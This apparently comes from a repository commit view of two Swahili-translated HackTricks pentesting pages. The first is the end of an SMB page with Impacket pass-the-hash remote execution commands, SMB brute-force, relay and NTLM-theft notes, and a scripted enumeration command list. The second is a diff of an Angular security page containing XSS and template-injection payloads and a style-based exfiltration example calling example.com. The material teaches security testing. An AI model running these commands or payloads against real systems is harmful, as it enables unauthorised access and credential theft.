Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Fanya kazi ya amri kwa siri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\
Katika **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Tekeleza amri kupitia Mipango ya Kazi (ukitumia _\pipe\atsvc_ kupitia SMB).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce credentials za watumiaji**
**Hii haipendekezwi, unaweza kufunga akaunti ikiwa utaongeza majaribio yaliyoruhusiwa**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\
[**Taarifa zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`
Hii inatokea na kazi:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM Theft
Kama ilivyo kwa SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# Angular
{{#include /banners/hacktricks-training.md}}
## The Checklist
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
@ -9,12 +11,12 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Ingizo la mtumiaji lisiloaminika kila wakati linaingizwa au kusafishwa kabla ya kutumika katika templeti
* [ ] Mtumiaji hana udhibiti juu ya templeti za upande wa seva au upande wa mteja
* [ ] Ingizo la mtumiaji lisiloaminika linapaswa kusafishwa kwa kutumia muktadha sahihi wa usalama kabla ya kuaminiwa na programu
* [ ] `BypassSecurity*` mbinu hazitumiwi na ingizo lisiloaminika
* [ ] Mbinu za `BypassSecurity*` hazitumiwi na ingizo lisiloaminika
* [ ] Ingizo la mtumiaji lisiloaminika halipitishwi kwa madarasa ya Angular kama `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM
## What is Angular
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo yenye nguvu ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na urekebishaji. Pamoja na mitambo ya usalama yenye nguvu, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
## Framework architecture
@ -39,13 +41,13 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinachanganya hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Decorator ya `@Component()` inatambua darasa lililo chini yake kama kipengele, na inatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili ya `app.component.ts`.
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinahusisha hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Mshereheshaji `@Component()` unatambua darasa lililo chini yake kama kipengele, na unatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili `app.component.ts`.
NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili ya `app.module.ts`.
Angular NgModules zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili `app.module.ts`.
NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili ya `app-routing.module.ts`.
NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili `app-routing.module.ts`.
Kwa data au mantiki ambayo haihusiani na mtazamo maalum, na unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na decorator ya `@Injectable()`. Decorator inatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha pembejeo za mtumiaji, au kuandika moja kwa moja kwenye console; zinapeleka kazi hizo kwa huduma.
Kwa data au mantiki ambayo haijahusishwa na mtazamo maalum, na unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na mshereheshaji `@Injectable()`. Mshereheshaji unatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha ingizo la mtumiaji, au kuandika moja kwa moja kwenye console; zinaweka kazi hizo kwa huduma.
## Mipangilio ya sourcemap
@ -58,27 +60,27 @@ Msingi wa Angular unatafsiri faili za TypeScript kuwa msimbo wa JavaScript kwa k
"hidden": false
}
```
Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya ufuatiliaji kwani zinachora faili zilizotengenezwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya asili ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaftaji bado anaweza kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama.
Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya urekebishaji kwani zinachora faili zilizotengenezwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya asili ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaftaji bado anaweza kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama.
Zaidi ya hayo, faili ya JavaScript iliyokusanywa na mradi wa Angular inaweza kupatikana katika zana za maendeleo za kivinjari → Vyanzo (au Debugger na Vyanzo) → \[id].main.js. Kulingana na chaguo zilizowekwa, faili hii inaweza kuwa na mstari ufuatao mwishoni `//# sourceMappingURL=[id].main.js.map` au inaweza isiwepo, ikiwa chaguo la **hidden** limewekwa kuwa **true**. Hata hivyo, ikiwa sourcemap imezimwa kwa **scripts**, upimaji unakuwa mgumu zaidi, na hatuwezi kupata faili hiyo. Aidha, sourcemap inaweza kuwezeshwa wakati wa kujenga mradi kama `ng build --source-map`.
## Ufunguo wa data
Ufunguo unarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake unaohusiana. Unatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya ufunguo wa pande mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma.
Ufunguo unarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake unaohusiana. Unatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya ufunguo wa njia mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma.
Tunaweza kuainisha ufunguo kwa mtiririko wa data:
* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _uhamasishaji_, _mali_, _sifa_, _darasa_ na _mitindo_); inaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo;
* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _matukio_); inaweza kutumika kwa kutumia `()` katika kiolezo;
* Pande Mbili; inaweza kutumika kwa kutumia `[()]` katika kiolezo.
* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _uhamasishaji_, _mali_, _sifa_, _darasa_ na _mitindo_); kinaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo;
* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _matukio_); kinaweza kutumika kwa kutumia `()` katika kiolezo;
* Njia Mbili; kinaweza kutumika kwa kutumia `[()]` katika kiolezo.
Ufunguo unaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanachama yeyote wa umma wa mwelekeo wa chanzo:
| AINA | LENGO | MIFANO |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
| Mali | Mali ya kipengee, Mali ya Kipengee, Mali ya Mwelekeo | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Tukio | Tukio la kipengee, Tukio la Kipengee, Tukio la Mwelekeo | \<button type="button" (click)="onSave()">Save |
| Pande Mbili| Tukio na mali | \<input \[(ngModel)]="name"> |
| Tukio | Tukio la kipengee, Tukio la Kipengee, Tukio la Mwelekeo| \<button type="button" (click)="onSave()">Save |
| Njia Mbili| Tukio na mali | \<input \[(ngModel)]="name"> |
| Sifa | Sifa (kipekee) | \<button type="button" \[attr.aria-label]="help">help |
| Darasa | mali ya darasa | \<div \[class.special]="isSpecial">Special |
| Mtindo | mali ya mtindo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
@ -112,7 +114,7 @@ Matokeo: `<div><h1>test</h1></div>`
Kuna aina 6 za `SecurityContext` :
* `Hakuna`;
* `None`;
* `HTML` inatumika, wakati wa kutafsiri thamani kama HTML;
* `STYLE` inatumika, wakati wa kufunga CSS kwenye mali ya `style`;
* `URL` inatumika kwa mali za URL, kama vile `<a href>`;
@ -121,9 +123,9 @@ Kuna aina 6 za `SecurityContext` :
## Udhaifu
### Kupita Njia za Uaminifu wa Usalama
### Kupita Njia za Kuamini Usalama
Angular inintroduce orodha ya mbinu za kupita mchakato wake wa kusafisha wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano ifuatayo mitano:
Angular inatoa orodha ya mbinu za kupita mchakato wake wa kusafisha wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano ifuatayo mitano:
1. `bypassSecurityTrustUrl` inatumika kuashiria kwamba thamani iliyotolewa ni URL salama ya mtindo:
@ -162,7 +164,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` inatumika kuashiria kwamba thamani iliyotolewa ni JavaScript salama. Hata hivyo, tumegundua tabia yake kuwa isiyotabirika, kwa sababu hatungeweza kutekeleza msimbo wa JS katika kiolezo kwa kutumia mbinu hii.
4. `bypassSecurityTrustScript` inatumika kuashiria kwamba thamani iliyotolewa ni JavaScript salama. Hata hivyo, tumegundua tabia yake kuwa isiyo na uhakika, kwa sababu hatungeweza kutekeleza msimbo wa JS katika kiolezo kwa kutumia mbinu hii.
```jsx
//app.component.ts
@ -187,7 +189,7 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliopewa na inasafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data maalum na muktadha. Kwa mfano, kutumia sanitizer na `SecurityContext.URL` kwenye maudhui ya HTML hakupatii ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliotolewa na kusafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakupatii ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
### Kuingiza HTML
@ -216,9 +218,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
#### Client-Side Rendering (CSR)
Angular inatumia templates kujenga kurasa kwa njia ya kidinamik. Njia hii inahusisha kuweka maelezo ya template kwa Angular kuyakadiria ndani ya mabano mawili ya curly (`{{}}`). Kwa njia hii, mfumo unatoa kazi za ziada. Kwa mfano, template kama `{{1+1}}` itakuwa inaonyesha kama 2.
Angular inatumia templates kujenga kurasa kwa njia ya kidinamik. Njia hii inahusisha kuweka maelezo ya template kwa Angular kutathmini ndani ya mabano mawili ya curly (`{{}}`). Kwa njia hii, mfumo unatoa kazi za ziada. Kwa mfano, template kama `{{1+1}}` itakuwa inaonyesha kama 2.
Kwa kawaida, Angular inakimbia pembejeo za mtumiaji ambazo zinaweza kuchanganywa na maelezo ya template (mfano, herufi kama \`< > ' " \`\`). Inamaanisha kwamba hatua za ziada zinahitajika ili kupita kizuizi hiki, kama vile kutumia kazi zinazozalisha vitu vya mfuatano wa JavaScript ili kuepuka kutumia herufi zilizoorodheshwa. Hata hivyo, ili kufikia hili, tunapaswa kuzingatia muktadha wa Angular, mali zake, na mabadiliko. Kwa hivyo, shambulio la template injection linaweza kuonekana kama ifuatavyo:
Kwa kawaida, Angular inakimbia pembejeo za mtumiaji ambazo zinaweza kuchanganywa na maelezo ya template (mfano, wahusika kama \`< > ' " \`\`). Inamaanisha kwamba hatua za ziada zinahitajika ili kupita kizuizi hiki, kama vile kutumia kazi zinazozalisha vitu vya mfuatano wa JavaScript ili kuepuka kutumia wahusika waliokatazwa. Hata hivyo, ili kufikia hili, tunapaswa kuzingatia muktadha wa Angular, mali zake, na mabadiliko. Kwa hivyo, shambulio la template injection linaweza kuonekana kama ifuatavyo:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -229,9 +231,9 @@ template: '<h1>title</h1>' + _userInput
```
Kama ilivyoonyeshwa hapo juu: `constructor` inahusisha upeo wa mali ya Object `constructor`, ikituwezesha kuita mjenzi wa String na kutekeleza msimbo wowote.
#### Uwasilishaji wa Kwanza wa Seva (SSR)
#### Uwasilishaji wa Kwanza wa Server (SSR)
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo sawa ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia sawa na katika CSR, kwa sababu lugha ya templeti inayotumika ni sawa.
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitindo ile ile ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia ile ile kama katika CSR, kwa sababu lugha ya templeti inayotumika ni ile ile.
Kwa kweli, pia kuna uwezekano wa kuanzisha udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za upande wa tatu kama Pug na Handlebars.
@ -292,7 +294,7 @@ document.body.appendChild(a);
```
#### Madarasa ya Angular
Kuna baadhi ya madarasa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanatolewa katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa tabaka la ufafanuzi kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.
Kuna madarasa kadhaa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanatolewa katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa safu ya uabstraction kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.
* `ElementRef` ina mali `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini:
@ -315,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele asilia haupo, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS.
* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele vya asili haukubaliwi, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS.
```tsx
//app.component.ts
@ -371,13 +373,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button>
```
Wakati wa utafiti wetu, pia tulichunguza tabia ya njia nyingine za `Renderer2`, kama vile `setStyle()`, `createComment()`, na `setValue()`, kuhusiana na XSS na sindano za CSS. Hata hivyo, hatukuweza kupata njia halali za shambulio kwa njia hizi kutokana na mipaka yao ya kazi.
Wakati wa utafiti wetu, pia tulichunguza tabia ya mbinu nyingine za `Renderer2`, kama vile `setStyle()`, `createComment()`, na `setValue()`, kuhusiana na XSS na sindano za CSS. Hata hivyo, hatukuweza kupata njia halali za shambulio kwa mbinu hizi kutokana na mipaka yao ya kazi.
#### jQuery
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu za jQuery zenye udhaifu zinaweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu dhaifu za jQuery zinavyoweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
* Njia ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au kuweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa muundo, mjenzi wowote wa jQuery au njia inayokubali mfuatano wa HTML inaweza kutekeleza msimbo. Hii inaweza kutokea kwa sindano ya vitambulisho vya `<script>` au matumizi ya sifa za HTML zinazotekeleza msimbo kama inavyoonyeshwa katika mfano.
* Mbinu ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au kuweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa muundo, mjenzi wowote wa jQuery au mbinu inayokubali mfuatano wa HTML inaweza kutekeleza msimbo. Hii inaweza kutokea kwa kuingiza vitambulisho vya `<script>` au kutumia sifa za HTML zinazotekeleza msimbo kama inavyoonyeshwa katika mfano.
```tsx
//app.component.ts
@ -404,13 +406,13 @@ $("p").html("<script>alert(1)</script>");
<button>Click me</button>
<p>some text here</p>
```
* Njia ya `jQuery.parseHTML()` inatumia mbinu za asili kubadilisha mfuatano kuwa seti ya nodi za DOM, ambazo zinaweza kuingizwa katika hati.
* Mbinu ya `jQuery.parseHTML()` inatumia mbinu za asili kubadilisha mfuatano kuwa seti ya nodi za DOM, ambazo zinaweza kuingizwa katika hati.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Kama ilivyotajwa hapo awali, APIs nyingi za jQuery zinazokubali mfuatano wa HTML zitaendesha skripti ambazo zimejumuishwa katika HTML. Njia ya `jQuery.parseHTML()` haiendeshi skripti katika HTML iliyochambuliwa isipokuwa `keepScripts` iwe wazi `true`. Hata hivyo, bado inawezekana katika mazingira mengi kutekeleza skripti kwa njia isiyo ya moja kwa moja; kwa mfano, kupitia sifa ya `<img onerror>`.
Kama ilivyotajwa hapo awali, APIs nyingi za jQuery zinazokubali mfuatano wa HTML zitaendesha skripti ambazo zimejumuishwa katika HTML. Mbinu ya `jQuery.parseHTML()` haiendeshi skripti katika HTML iliyochambuliwa isipokuwa `keepScripts` iwe wazi `true`. Hata hivyo, bado inawezekana katika mazingira mengi kutekeleza skripti kwa njia isiyo ya moja kwa moja; kwa mfano, kupitia sifa ya `<img onerror>`.
```tsx
//app.component.ts
@ -446,11 +448,11 @@ $palias.append(html);
#### Interfaces za DOM
Kulingana na nyaraka za W3C, vitu vya `window.location` na `document.location` vinachukuliwa kama majina sawa katika vivinjari vya kisasa. Ndio maana wana utekelezaji sawa wa baadhi ya mbinu na mali, ambayo inaweza kusababisha uelekeo wazi na XSS ya DOM kwa mashambulizi ya `javascript://` kama ilivyoelezwa hapa chini.
Kulingana na nyaraka za W3C, vitu vya `window.location` na `document.location` vinachukuliwa kama majina sawa katika vivinjari vya kisasa. Ndio maana wana utekelezaji sawa wa baadhi ya mbinu na mali, ambayo inaweza kusababisha kuhamasisha wazi na XSS ya DOM na mashambulizi ya `javascript://` kama ilivyoelezwa hapa chini.
* `window.location.href`(na `document.location.href`)
